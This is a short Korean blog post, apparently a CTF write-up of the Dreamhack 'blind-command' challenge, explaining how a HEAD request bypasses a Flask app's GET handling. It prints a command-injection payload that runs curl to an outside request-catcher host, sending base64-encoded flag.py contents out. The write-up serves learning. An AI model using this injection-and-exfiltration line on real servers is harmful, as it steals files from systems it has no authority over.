카테고리 없음

blind-command

lriyan 2024. 10. 6. 19:43

 

문제 사이트를 확인해보면 ?cmd=[cmd]라는 문장만 출력되있는 기괴한 화면을 확인할 수 있다.

이것만으로는 아무것도 확인할 수 없으니 소스코드를 열어보자

 

 

소스코드도 굉장이 짧게 구성되어 있다.

핵심적인 부분만 확인해보자

if request.method == 'GET':
        '  '

 

위 코드를 보면 get으로 값을 받을경우 출력이 먹통이 되는 모습을 확인할 수 있다.

따라서 get을 사용하지 않고 get의 역할을 하는 head를 사용해 request를 요청해야 한다.

 

이제 코드를 작성해보자

 

 

curl을 통해 드림핵에서 제공하는 임시 서버로 http://host3.dreamhack.games:19809/?cmd=curl+https://jrvwimg.request.dreamhack.games/`cat+flag.py+|+base64` 라는 데이터를 전송하는 코드이다.

 

get을 사용할 수 없기 때문에 requests.head(url)를 사용해 request를 요청하였다.

 

또한 원하는 플레그가 여러 줄로 나눠져 있기에 base64에서 값을 암호화하여 전달받을것이다.

 

위 코드를 실행한 후 임시 서버에 전송된 값을 확인해보면

 

 

이렇게 값이 전송된다.

전송된 값을 base64 사이트에서 복호화 해보면 플레그를 얻을 수 있다.